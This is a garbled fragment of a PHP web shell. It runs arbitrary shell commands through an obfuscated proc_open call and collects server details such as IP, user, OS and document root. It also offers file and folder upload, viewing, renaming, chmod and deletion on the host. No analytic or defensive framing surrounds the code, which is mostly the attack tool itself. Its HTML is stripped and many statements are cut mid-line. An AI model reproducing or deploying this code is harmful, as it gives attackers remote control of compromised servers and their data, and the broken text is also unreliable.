&1";
if (!preg_match("/" . $ler . "/i", $coman)) {
$coman = $coman . " " . $ler;
}
$komen = $coman;
$pr = "proc_open";
if (function_exists($pr)) {
$tod = @$pr($komen, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $crottz, $serlok);
return true;
} else {
return false;
}
}
function ipserv()
{
if (empty($_SERVER['SERVER_ADDR'])) {
return gethostbyname($_SERVER['SERVER_NAME']);
if (empty(gethostbyname($_SERVER['SERVER_NAME']))) {
return $_SERVER['SERVER_NAME'];
}
} else {
return $_SERVER['SERVER_ADDR'];
}
}
?>
alert('File uploaded successfully');";
} else {
echo "";
}
}
?>
~" : "";
foreach ($paths as $id => $pat) {
echo "
$pat/";
}
?>
System Information
- Server IP: = ipserv(); ?>
- Server Software: = $_SERVER['SERVER_SOFTWARE'] ?? 'N/A'; ?>
- PHP Version: = phpversion(); ?>
- Current User: = get_current_user(); ?>
- Operating System: = php_uname(); ?>
- Document Root: = $_SERVER['DOCUMENT_ROOT'] ?? 'N/A'; ?>
- Server Port: = $_SERVER['SERVER_PORT'] ?? 'N/A'; ?>
- Server Admin: = $_SERVER['SERVER_ADMIN'] ?? 'N/A'; ?>
- Loaded PHP Modules: = implode(", ", get_loaded_extensions()); ?>
Command is empty";
} else {
echo "
Command: " . htmlspecialchars($coman) . "";
$ler = "2>&1";
if (!preg_match("/" . $ler . "/i", $coman)) {
$coman = $coman . " " . $ler;
}
$komen = $coman;
$pr = "proc_open";
if (function_exists($pr)) {
$tod = @$pr($komen, array(0 => array("pipe", "r"), 1 => array("pipe", "w"), 2 => array("pipe", "r")), $crottz, $path);
echo "
";
} else {
echo "
proc_open function is disabled!!";
}
}
}
}
/* FILE ACTIONS */
if (isset($_GET["path"]) && @$_GET["action"] === "newfile") {
?>
" . $filename, $path)) {
echo "";
} else {
echo "";
}
}
}
if (isset($_GET["action"]) && $_GET["action"] === "view" && isset($_GET["file"])) {
$filePath = $path . "/" . $_GET["file"];
if (file_exists($filePath) && is_file($filePath)) {
?>
File Content: = htmlspecialchars($_GET["file"]); ?>
File does not exist or is not readable.
" . $_GET["file"], $path)) {
echo "";
} else {
echo "";
}
}
} else {
?>
File does not exist or is not writable.
alert('File renamed successfully.'); window.location.href='?path=" . urlencode($_GET["path"]) . "&file=" . urlencode($newName) . "&action=renamefile';";
} else {
echo "";
}
}
} else {
?>
File does not exist or is not writable.
alert('File permissions changed successfully.'); window.location.href='?path=" . urlencode($_GET["path"]) . "&file=" . urlencode($_GET["file"]) . "&action=chmodfile';";
} else {
echo "";
}
}
} else {
?>
File does not exist or is not writable.
alert('File deleted successfully.'); window.location.href='?path=" . urlencode($path) . "';";
} else {
echo "
Failed to delete file.
";
}
} else {
echo "
File does not exist or is not writable.
";
}
}
/* END FILE ACTIONS */
/* FOLDER ACTIONS */
if (isset($_GET["path"]) && @$_GET["action"] === "newfolder") {
?>
alert('Folder created successfully.'); window.location.href='?path=" . urlencode($path) . "';";
} else {
echo "";
}
}
}
if (isset($_GET["action"]) && $_GET["action"] === "renamefolder" && isset($_GET["folder"])) {
$folderPath = $path . "/" . $_GET["folder"];
if (file_exists($folderPath) && is_dir($folderPath) && is_writable($folderPath)) {
?>
alert('Folder renamed successfully.'); window.location.href='?path=" . urlencode($_GET["path"]) . "&folder=" . urlencode($newName) . "&action=renamefolder';";
} else {
echo "";
}
}
} else {
?>
Folder does not exist or is not writable.
alert('Folder permissions changed successfully.'); window.location.href='?path=" . urlencode($_GET["path"]) . "&folder=" . urlencode($_GET["folder"]) . "&action=chmodfolder';";
} else {
echo "";
}
}
} else {
?>
Folder does not exist or is not writable.
alert('Folder deleted successfully.'); window.location.href='?path=" . urlencode($path) . "';";
} else {
echo "
Failed to delete folder. Make sure the folder is empty or you have the necessary permissions.
";
}
} else {
echo "
Folder does not exist or is not writable.
";
}
}
/* END FOLDER ACTIONS */
?>
| Name |
Size |
Permission |
Action |
|
= $file; ?>
|
--- |
= $filePerms; ?> |
|
|
= $file; ?>
|
= $fileSize; ?> bytes |
= $filePerms; ?> |
|
Directory Is NOT Readable